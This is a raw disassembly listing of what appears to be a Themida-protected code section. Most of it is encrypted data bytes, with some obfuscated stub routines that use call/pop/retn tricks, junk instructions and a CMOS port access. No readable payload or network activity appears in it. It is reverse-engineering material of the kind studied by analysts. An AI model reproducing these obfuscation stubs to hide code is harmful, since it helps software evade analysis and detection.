db 29h ; )
db 0Ah
db 15h
db 98h ; ˜
db 0EAh ; ê
db 50h ; P
db 0BCh ; ¼
db 35h ; 5
db 0Dh
db 0Eh
db 0B4h ; ´
db 0F4h ; ô
db 0Dh
db 0Eh
db 2Dh ; -
db 58h ; X
db 29h ; )
db 0Ah
db 77h ; w
db 7Eh ; ~
db 0EAh ; ê
db 28h ; (
db 46h ; F
db 0CEh ; Î
db 0B9h ; ¹
db 79h ; y
db 1Ch
db 96h ; –
db 94h ; ”
db 2
db 26h ; &
db 83h ; ƒ
db 0D0h ; Ð
db 87h ; ‡
db 0B0h ; °
db 0F1h ; ñ
db 55h ; U
db 1Ch
db 33h ; 3
db 1
db 26h ; &
db 89h ; ‰
db 30h ; 0
db 0B0h ; °
db 29h ; )
db 0Ah
db 53h ; S
db 0D9h ; Ù
db 0D9h ; Ù
db 0CFh ; Ï
db 5Fh ; _
db 0A7h ; §
db 94h ; ”
db 0B7h ; ·
db 2Fh ; /
db 5
db 2Fh ; /
db 6Bh ; k
db 0CAh ; Ê
db 0DBh ; Û
db 0
db 0BFh ; ¿
db 78h ; x
db 83h ; ƒ
db 3Ah ; :
db 0Ch
db 0BCh ; ¼
db 47h ; G
db 0BCh ; ¼
db 14h
db 26h ; &
db 67h ; g
db 43h ; C
db 0Ah
db 60h ; `
db 58h ; X
db 2Ah ; *
db 0Ah
db 35h ; 5
db 58h ; X
db 9
db 57h ; W
db 0F6h ; ö
db 71h ; q
db 0A0h ;
db 66h ; f
db 11h
db 12h
db 0A8h ; ¨
db 4Eh ; N
db 11h
db 0Fh
db 34h ; 4
db 0Ah
db 35h ; 5
db 85h ; …
db 6Ch ; l
db 5Fh ; _
db 0F6h ; ö
db 7Eh ; ~
db 42h ; B
db 55h ; U
db 0B6h ; ¶
db 8
db 0EAh ; ê
db 62h ; b
db 62h ; b
db 0EBh ; ë
db 3Fh ; ?
db 6Ch ; l
db 8Ch ; Œ
db 8Ah ; Š
db 22h ; "
db 0CCh ; Ì
db 0B0h ; °
db 0CDh ; Í
db 38h ; 8
db 19h
db 33h ; 3
db 51h ; Q
db 0A0h ;
db 8Fh ;
db 0D4h ; Ô
db 0
db 3Ah ; :
db 0Ch
db 0DDh ; Ý
db 81h ;
db 29h ; )
db 0Ah
db 35h ; 5
db 52h ; R
db 3Ch ; <
db 78h ; x
db 94h ; ”
db 6Eh ; n
db 0A2h ; ¢
db 0Fh
db 35h ; 5
db 0B0h ; °
db 29h ; )
db 0B3h ; ³
db 0EEh ; î
db 0E6h ; æ
db 0EDh ; í
db 18h
db 65h ; e
db 0C5h ; Å
db 25h ; %
db 0Ah
db 35h ; 5
db 16h
db 0EBh ; ë
db 4Eh ; N
db 23h ; #
db 75h ; u
db 29h ; )
db 1Ah
db 0ADh ;
db 6Ah ; j
db 0E7h ; ç
db 92h ; ’
db 78h ; x
db 0EAh ; ê
db 0A2h ; ¢
db 4Eh ; N
db 11h
db 65h ; e
db 49h ; I
db 81h ;
db 0E2h ; â
db 0D6h ; Ö
db 0A2h ; ¢
db 0DDh ; Ý
db 54h ; T
db 0D3h ; Ó
db 29h ; )
db 5
db 0BCh ; ¼
db 25h ; %
db 29h ; )
db 0Ah
db 35h ; 5
db 76h ; v
db 9Dh ;
db 0D8h ; Ø
db 8Eh ; Ž
db 95h ; •
db 19h
db 47h ; G
db 59h ; Y
db 0E4h ; ä
db 0A0h ;
db 4Eh ; N
db 11h
db 0C6h ; Æ
db 0A2h ; ¢
db 0F0h ; ð
db 6Dh ; m
db 6Eh ; n
db 0A5h ; ¥
db 9
db 35h ; 5
db 0B0h ; °
db 29h ; )
db 5
db 82h ; ‚
db 0A6h ; ¦
db 0A0h ;
db 0BFh ; ¿
db 0D8h ; Ø
db 31h ; 1
db 3Ah ; :
db 0Ch
db 0CAh ; Ê
db 0A3h ; £
db 0C0h ; À
db 14h
db 26h ; &
db 0Dh
db 98h ; ˜
db 0E4h ; ä
db 0B8h ; ¸
db 0
db 1Ah
db 76h ; v
db 23h ; #
db 0C4h ; Ä
db 43h ; C
db 0Ah
db 62h ; b
db 89h ; ‰
db 2Ah ; *
db 0Ah
db 35h ; 5
db 0B0h ; °
db 9
db 55h ; U
db 0F6h ; ö
db 7
db 0A0h ;
db 76h ; v
db 11h
db 28h ; (
db 0A8h ; ¨
db 4Eh ; N
db 11h
db 12h
db 3Ch ; <
db 0Ah
db 35h ; 5
db 0Bh
db 6Eh ; n
db 5Dh ; ]
db 0F6h ; ö
db 9Bh ; ›
db 67h ; g
db 83h ; ƒ
db 88h ; ˆ
db 0E3h ; ã
db 19h
db 19h
db 33h ; 3
db 9Eh ; ž
db 0F9h ; ù
db 5
db 8Ah ; Š
db 62h ; b
db 0A0h ;
db 8Fh ;
db 1Ch
db 6Ah ; j
db 3Ah ; :
db 0Ch
db 5Fh ; _
db 2Ch ; ,
db 78h ; x
db 0E2h ; â
db 36h ; 6
db 16h
db 29h ; )
db 0Ah
db 15h
db 52h ; R
db 0EAh ; ê
db 53h ; S
db 0BCh ; ¼
db 0C9h ; É
db 0Dh
db 0Eh
db 0B4h ; ´
db 86h ; †
db 0Dh
db 0Eh
db 28h ; (
db 61h ; a
db 29h ; )
db 0Ah
db 74h ; t
db 0E1h ; á
db 0EAh ; ê
db 0F1h ; ñ
db 37h ; 7
db 3
db 3Ah ; :
db 54h ; T
db 7Ah ; z
db 9Eh ; ž
db 0ABh ; «
db 0F0h ; ð
db 0F9h ; ù
db 0D0h ; Ð
db 0ACh ; ¬
db 0EBh ; ë
db 24h ; $
db 18h
db 2Fh ; /
dd 0D7323A59h, 0D5A5B162h, 22DE53AFh, 0D84B4A5h, 159D0D1Eh
dd 9CD3C580h, 2F052BE3h, 37CA8823h, 0AC083319h, 2FD44939h
dd 2F1045B4h, 0A260CA19h, 3A78149Fh, 0A0A9BC0Ch, 9F102617h
dd 0C88EF3E1h, 7E83261Bh, 19B8039h, 0B7093319h, 97208959h
dd 47D45D1Fh, 0B108018Bh, 78168D0Bh, 290DBD05h, 940C350Ah
dd 2FD11CC3h, 0C0D4CA53h, 43B62614h, 2AB0670Ah, 92C350Ah
dd 0A04CF650h, 0A80F115Eh, 3E81114Eh, 6BC2350Ah, 0ED1F658h
dd 820E92EFh, 0A419DF00h, 3F50068Fh, 78165F0Ch, 290B36E2h
dd 0EADC150Ah, 0D8EBC53h, 0D25B40Eh, 29B0200Eh, 0EA09740Ah
dd 0A4A7517Ch, 2F0535A3h, 0A26DE5F5h, 8400BCC1h, 0A0C4263Bh
dd 3A55C097h, 0C835F30Ch, 6A5E261Bh, 0C4F1C48Bh, 2DFE1028h
dd 10B350Ah, 7839A57Ah, 799C21BCh, 8DD06258h, 6D3B6B53h
dd 7B08312Eh, 292C3BE3h, 93786F0Ah, 70447EC2h, 62E7043h
dd 262838BFh, 0C05A8A3Bh, 71EA71A4h, 0A23E3581h, 0D68BCC1h
dd 2902DD0Eh, 0B171350Ah, 0E3DE953h, 120D8A77h, 1C9C3698h
dd 422A00Bh, 7B081C97h, 292C24E2h, 0F6295E0Ah, 0DDC5E6CFh
dd 0BD93DF54h, 371757D1h, 263BFCE8h, 737ABE3Bh, 0C0006B52h
dd 292C3519h, 58384EA9h, 0EDD4CD39h, 70FC9505h, 0FA342DC9h
dd 0D6FA32BBh, 3AAEDCBFh, 79585F0Ch, 292C36E2h, 0EA4E150Ah
dd 0D4FBC52h, 0DC1B40Eh, 29C22C0Eh, 0EA31750Ah, 0B1854F60h
dd 2CB1E510h, 8F2C350Ah, 40DB1DF0h, 290B3AE2h, 56E4ED0Ah
dd 0B5C4220h, 223FC219h, 72DCE326h, 7039C06Ah, 551FB087h
dd 297C331Ch, 2908DD5Ch, 77A5350Ah, 5D4B6BC9h, 6DE0312Eh
dd 29AA312Eh, 7F1E350Ah, 5DB59CC9h, 2E3000FAh, 8768F6Ch
dd 0F004E5F5h, 39F86585h, 3BE8B083h, 29DA3319h, 295BDD5Dh
dd 760C350Ah, 559F6AC9h, 6D8A312Eh, 2992312Eh, 7E85350Ah
dd 0D80824C9h, 3A303A2Ch, 0C158350Ah, 292C3502h, 0FFD55AD0h
dd 0CEE72D63h, 2C44B46Ch, 0AC4F6FD8h, 2F77F16Eh, 0C1E73560h
dd 29583509h, 76EF6A2Ah, 2D324983h, 2D2F718Bh, 2985351Ch
dd 4201624Dh, 0A8077D6Bh, 0A04C33FBh, 3A4F4097h, 20C4650Ch
dd 0A416350Ah, 0D4D383AEh, 11BB93C6h, 77A35558h, 0D65BC54h
dd 0C1E63560h, 29583509h, 77EF6B2Ah, 2D324183h, 2D2F718Bh
dd 29853517h, 0F801634Ch, 0D18392CAh, 0AA93D9DEh, 0C4CDCA87h
dd 262A261Bh, 29163C86h, 2A823A0Ah, 2685350Ah, 0F149C6B5h
dd 22348083h, 0A4393319h, 2F4B17BBh, 0ED74B087h, 0A270331Ch
dd 7B5BA5D9h, 87637EB4h, 0A2F33A4Bh, 79396FD9h, 29B5BE05h
dd 75E2350Ah, 0B93651CEh, 0C1413560h, 290B3509h, 76466A2Ah
dd 2DE64983h, 2D45718Bh, 29B03513h, 239B624Dh, 55E57A31h
dd 26AC65E7h, 0A0762A81h, 29EF1116h, 29C1DD58h, 7341350Ah
dd 7D396FC9h, 6DD9312Eh, 2939312Eh, 7B54350Ah, 0A0D023C9h
dd 3AA6C48Fh, 3C57CA0Ch, 26672619h, 0AC39C5BDh, 2F4B141Bh
dd 0C17F3560h, 29163509h, 72C86E2Ah, 2DA16983h, 2DE6718Bh
dd 29613511h, 27736649h, 0D5F7504Ch, 26ECBDC0h, 29163386h
dd 909EBE0Ah, 0EE832619h, 3AC9148Fh, 29613A0Ch, 7FB05F0Ah
dd 295836E2h, 0EA72150Ah, 0D62BC54h, 0D4FB40Eh, 29852D0Eh
dd 0EA94730Ah, 8F2C6396h, 0E03DBE57h, 4F5E2611h, 0D60C2EB4h
dd 3A37249Fh, 7E0B5F0Ch, 298536E2h, 0EA9D150Ah, 0D1DBC55h
dd 0DF4B40Eh, 29582E0Eh, 0EA7B720Ah, 747FE055h, 32F9739Fh
dd 1274ACB5h, 4847BC6Bh, 26672638h, 29B0338Bh, 0B92B40Ah
dd 0A21BF538h, 3A3A688Fh, 0D296B80Ch, 0A08323DDh, 944F3449h
dd 2F723973h, 0FE658087h, 1AE1331Ch, 0DA2C350Ah, 9125DEAEh
dd 290B350Ah, 2AF1F501h, 0A2C22DC8h, 7A6D114Eh, 29B035E2h
dd 0EAD96E0Ah, 292C351Dh, 39326983h, 3D2F7183h, 0D3B28D51h
dd 0C93D35BBh, 2D457181h, 29DAD5F5h, 295BDD5Ah, 710C350Ah
dd 6D9F6DC9h, 6D8A312Eh, 299F312Eh, 7982350Ah, 904804C9h
dd 0D7133672h, 26B142BCh, 0BA2C350Ah, 20E1C127h, 0AEFEE408h
dd 0C884BC7h, 43A3D211h, 2A89630Ah, 9B0350Ah, 0A006F654h
dd 0A828117Eh, 3F12114Eh, 6F0B350Ah, 2663F65Ch, 717FB8B8h
dd 0A46723CEh, 3F684E87h, 826D8D0Ch, 0AC1FAD2Ch, 2F05217Fh
dd 8149FA21h, 193660A0h, 60E93B33h, 9C10F35h, 2A292C35h
dd 8376D56Ah, 8B2D2F49h, 5E98371h, 0D98BA4F3h, 95BF6660h
dd 858B5781h, 6133531h, 5BE9615Eh, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 9E2EC355h, 182AE61Bh, 0FCEECDF7h, 0CE9h, 63D40D00h
dd 43CF3740h, 0D949A581h, 0BE961ADh, 0C0000000h, 4A3D0352h
dd 9F4B78B1h, 0E9C35218h, 0Eh, 5C92AA93h, 0F2B8E199h, 0E64707EDh
dd 0C08BA45Eh, 25BD83F8h, 61316h, 0BD830975h, 6132C81h
dd 50197400h, 0B8C08B53h, 4B9h, 31158589h, 9D8D0613h, 615A9E4h
dd 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h, 4B9h, 31158589h
dd 9D8D0613h, 615A685h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 20C35545h, 0A870Fh, 5E90000h
dd 0AA000000h, 3EAF7771h, 0AE9FCh, 13580000h, 195FC125h
dd 0CE2C63A0h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 235E9FC3h, 0E99E5735h, 12h, 0C2FFB29Ah
dd 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 40F87BC4h, 0D8BEC18Bh
dd 0EB5D52EBh, 4, 0C1858900h, 8D06131Eh, 131EA985h, 19D8906h
dd 90061315h, 5E8h, 65ED1800h, 505E5DC4h, 8F78BE52h, 905F07CEh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A3C35040h
dd 0F103E622h, 318D01B8h, 8B06130Fh, 131ABDB5h, 6A006A06h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0CE52C352h, 0A59968E5h, 8D89006Ah, 61309A1h
dd 0DB86858Dh, 83FC0616h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 67F2BAC3h, 0D9117BBCh
dd 509039E5h, 5E8h, 109C6200h, 75BF0BA4h, 5F77A217h, 57006A90h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0E45AFFFAh, 0BF28ACh, 0E850Fh, 29600000h, 13256D9Dh
dd 0DDB58B06h, 61061325h, 21B58Bh, 6A0613h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h, 891E5DE8h
dd 132B998Dh, 0B006A06h, 130F91BDh, 10E906h, 27F80000h
dd 1B71863Dh, 0DD39B753h, 1F48A7B6h, 95FF8D2Eh, 61307F1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h
dd 0BD2B2C85h, 613207Dh, 0A36A9D8Dh, 7DBF0616h, 0FF4A3F03h
dd 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0E48F91F7h, 0BCADC83h, 132B91BDh, 0D985FF06h
dd 66061316h, 0DE9BC781h, 889E9h, 0E800h, 815D0000h, 16DB90EDh
dd 399D0106h, 81061301h, 130B21BDh, 7D006h, 0C7860F00h
dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 76B4C356h, 0EEF36281h, 63E2A867h
dd 14619D8Bh, 6A0613h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 6414A3C3h, 8127A904h, 100E3h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9D899564h
dd 6131F0Dh, 0BF78B66h, 9B850FDBh, 8B000000h, 0D7BD83FBh
dd 616D9h, 2D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 82975AC3h, 0A3867FADh
dd 8CE9h, 0E18D2900h, 0C7061322h, 16D9D785h, 106h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0E9FE304Ah, 8, 0A5A62526h, 0B04C5968h, 4CE9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 9FC65BA7h, 0D6612EDh, 85C7781Dh, 616D9D7h, 0
; ---------------------------------------------------------------------------
call sub_5B9FB2
test [ecx+7], ebx
mov bl, 84h
clc
push ss
mov dh, bl
jbe short loc_5B9FF2
sbb eax, 37A8C223h
daa
; =============== S U B R O U T I N E =======================================
sub_5B9FB2 proc near ; CODE XREF: Themida_:005B9F9Cp
mov esi, [ebp+6131D75h]
pop edi
lea ebx, [ebp+6131461h]
push 0
push ebx
call sub_5B9FCA
and [ebx-3Dh], bl
sub_5B9FB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B9FCA proc near ; CODE XREF: sub_5B9FB2+10p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5B9FCA endp
; ---------------------------------------------------------------------------
dw 0E29Ah
dd 0A3B76D2Dh, 8D099452h, 6132A35h, 0FEFF2381h, 6AFFFFh
db 55h, 0E8h
; ---------------------------------------------------------------------------
loc_5B9FF2: ; CODE XREF: Themida_:005B9FAAj
add eax, [eax]
; ---------------------------------------------------------------------------
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0AB7B0EC3h, 4D421C55h, 0E8608A5Ah, 0Ch, 9B6072F2h, 0D812B786h
dd 0EBA5BB19h, 6E8h, 5A50E100h, 5FA6B43Fh, 0C98D8B5Ah
dd 61061319h, 21BD29h, 8C660613h, 53006ADBh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9C51083h
dd 14h, 0EBC6CF1h, 858DA7E1h, 57BC6330h, 4003671Fh, 91D65B17h
dd 0F04C3F6h, 8684h, 89858900h, 0FF06130Eh, 13211195h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0B5AEF67Dh, 61BD8B46h, 8106131Eh, 0D5D6CF7h
dd 13E9900Ah, 0DC000000h, 0F6012497h, 0AA3454DAh, 0F935E52Dh
dd 30AFE915h, 0F509C6Dh, 8Fh, 6A9000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0CE910C3h
dd 0CF000000h, 0AE4B8D3h, 1912FE3Ah, 0E91F055Dh, 4BFh
dd 15800Fh, 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h
dd 9F52448Eh, 0B0C25299h, 13E900h, 9CC50000h, 0FC907BDDh
dd 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 6A70E622h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0A98AC353h, 8B0D017Dh, 6A71E4FAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89EEC355h
dd 132175BDh, 0D8B60F06h, 8E0Fh, 8E90000h, 0DC000000h
dd 3901F18Ah, 0BA05FE37h, 6, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 4FC35747h, 0BD336AFCh, 6131F3Dh
dd 0E1BD8B60h, 89061318h, 1301B1BDh, 0C38B6106h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 129AC352h, 8BE2F766h, 131EADB5h, 47F7BF06h
dd 0D82B2818h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0F4C35545h, 0ABA2F1ADh, 93FB3832h, 6964BE50h, 6A935C52h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0DB9CC353h, 1D2D126Ah, 5D26DB58h, 8BF88B66h
dd 132CF5BDh, 21B5FF06h, 6A06130Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C84DC352h
dd 0A170A254h, 0F99E188h, 9D89F9BFh, 6131305h, 0DA995FFh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 686234C3h, 0DA06027Ch, 0B0F818C4h, 0D9BD3300h
dd 0E6061331h, 55006A70h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 7D8966D6h, 0F724121h
dd 8D0FF6B7h, 6, 16218501h, 71E40613h, 830F613Ch, 2ABh
dd 0B60FF98Bh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 0A1DB29D3h, 0AD9D4901h
dd 2DB50300h, 0BA061332h, 6, 8B665F50h, 0E8C38BF9h, 8
dd 0F83DB9D4h, 838359B9h, 11458529h, 0C15F0613h, 6A04E8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 145223C3h, 660A3795h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 60D441C3h, 0DD852957h
dd 5F06132Bh, 0DE9h, 50AF8900h, 1C1D0938h, 6F4F318Ah, 0E9618CAEh
dd 7, 0E9A6911Ch, 2BF8C69Ah, 56006AD8h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1EAE518Fh
dd 29BD8BC5h, 5806131Bh, 6E8h, 1F07F500h, 2BE656D7h, 132091B5h
dd 0D82B5E06h, 1AD880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0B58BE4C3h, 6131FE9h
dd 31A1B58Bh, 95890613h, 6132C1Dh, 7B9h, 0C8B0F00h, 0F000000h
dd 684h, 61B52900h, 8306130Dh, 6A00C1h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E50420C3h
dd 768D1E66h, 0D93B3068h, 139860Fh, 8A0F0000h, 6, 10559589h
dd 8C660613h, 61FC60D9h, 0F04C1F6h, 0F984h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0E91CD69Ch, 6, 57412C6Ch, 95FF91CAh, 6132111h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 50C35343h, 196DC746h
dd 5BF18B46h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0AEC35040h, 0C8144765h, 0C32B8395h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 91865DE0h
dd 89ED8568h, 132539BDh, 8343D06h, 860F0000h, 4Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 2CAD3158h
dd 4D64CB70h, 4AE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 5E013A5h, 1D09BD8Bh, 0C08B0613h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D3C35343h
dd 7AABAA42h, 8B11B28Ch, 0F8D88BC3h, 85C7F18Bh, 61316A1h
dd 17FC935Fh, 1575BD8Bh, 0C08B0613h, 0A09BDF81h, 0BD814A74h
dd 6130B21h, 7D0h, 29850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 770B77C3h
dd 0FF31FA99h, 130B2185h, 0FFF78B06h, 130B21B5h, 0D9952906h
dd 89061306h, 132A15B5h, 0A995FF06h, 6A06130Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 52E9C353h, 0D1D78072h, 78B89070h, 6A123456h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 62A8C351h, 9EBB5C54h, 12619D89h, 8D890613h, 6130EADh
dd 0E3949D8Dh, 0BAE90616h, 6AFFFFF7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7AC6C352h
dd 65442799h, 6672B3F5h, 0A1ACF781h, 39958960h, 0F06131Dh
dd 0C87h, 0E1950900h, 106132Bh, 13064DBDh, 0C18B6106h
dd 0EBFBB70Fh, 4, 0FB8B6600h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0F1C35141h, 8398B409h, 8B0F7870h
dd 6, 2471B589h, 81660613h, 8DABF9C6h, 131EA985h, 0FEBF0F06h
dd 52505090h, 10E85250h, 94000000h, 0A47C0A5Eh, 7C932BC7h
dd 5D78039Fh, 5E50E32Eh, 585A310Fh, 8B66310Fh, 90585AF8h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h
dd 0A2ED6F24h, 95896F8Fh, 6132D29h, 0BD8B006Ah, 61322C5h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 5AE358C3h, 9CB096C0h, 34858DDEh, 6A0616E6h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0D527C356h, 0C3406FC1h, 0D9BD89F1h, 83061313h
dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 66AA71C3h
dd 539743BFh, 0CE9h, 651C4600h, 1688801Dh, 87E0C55Ah, 0E9905E8Eh
dd 9, 0C9A72D4Ch, 0ACDBAE84h, 60605051h, 310F5250h, 13E9585Ah
dd 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h, 8A5701E7h
dd 6161557Ah, 89006A90h, 131E7995h, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0CB10C357h, 0B58BB944h, 6131465h, 7F195FFh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0DAD2CBC3h, 9D8D0468h, 616A36Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 59C35242h, 82FE842h, 0D3F78166h
dd 6AD3FFC3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0EC5BC355h, 2E12E538h, 0A05B509h
dd 85FF0613h, 61316D9h, 0DE9h, 0F89CCA00h, 8BB4727Eh, 55CB5FE3h
dd 0BEE9C1BCh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 616E63Eh
jle loc_5BA918
mov di, dx
loc_5BA918: ; CODE XREF: Themida_:005BA90Fj
cmp dword ptr [ebp+6130B21h], 7D0h
jbe loc_5BAA94
push esi
movsx esi, di
pop edi
push edx
sub [ebp+61304CDh], edi
pop edi
mov ebx, [ebp+61309CDh]
push 0
push ecx
call sub_5BA946
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA946 proc near ; CODE XREF: Themida_:005BA93Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5BA946 endp
; ---------------------------------------------------------------------------
dw 0D19Dh
dd 26BEFFFEh, 100E381h, 0BD8B0000h, 61325DDh, 850FDB0Bh
dd 0C8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0D4C35141h, 0BD8BC026h, 6132A75h, 0E41BBD83h, 0F000616h
dd 3C84h, 55BD8B00h, 0E9061331h, 0A3h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 1CC35646h, 0FE9E0h, 4530000h
dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 1B85C72Eh, 10616E4h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0E400C355h, 6B0A9712h, 89E45B7Dh
dd 1330759Dh, 39E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 27EC3h, 858FB8F4h, 0E41B85C7h
dd 616h, 60500000h, 23D19D89h, 0BF0F0613h, 8D5E61C1h, 1309CD9Dh
dd 9D896006h, 61321DDh, 61CB8B66h, 0FEFF2381h, 6AFFFFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 27F3F1C3h, 6E952h, 1B260000h, 2E741FEEh, 0F3B70F5Eh
; ---------------------------------------------------------------------------
loc_5BAA94: ; CODE XREF: Themida_:005BA922j
mov bx, ds
mov [ebp+613214Dh], esi
test bl, 4
jz loc_5BAAB6
call dword ptr [ebp+6132111h]
cld
push eax
mov si, ax
mov [esp], eax
mov esi, ecx
loc_5BAAB6: ; CODE XREF: Themida_:005BAAA0j
jmp loc_5BAF41
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5BAAC6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAAC6 proc near ; CODE XREF: Themida_:005BAABEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5BAAC6 endp
; ---------------------------------------------------------------------------
adc [edx+40A9F794h], ah
cmp eax, 85899C79h
cmp ds:0B00613h, esi
jmp loc_5BAAF5
; ---------------------------------------------------------------------------
dd 11E256BBh, 8955782h
; ---------------------------------------------------------------------------
inc edx
loc_5BAAF5: ; CODE XREF: Themida_:005BAAE7j
out 70h, al ; CMOS Memory:
; used by real-time clock
push 0
push esi
call sub_5BAB02
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAB02 proc near ; CODE XREF: Themida_:005BAAFAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5BAB02 endp
; ---------------------------------------------------------------------------
dw 72B8h
dd 85CDEC3Eh, 71E48A70h, 31B58BFCh, 0F061312h, 6AD8B6h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 8B0B3BC3h, 94626808h, 14E9h, 0BE09AB00h, 0EE917488h
dd 45236EF5h, 0A9CA9F6Dh, 2785BABDh, 6BA20h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
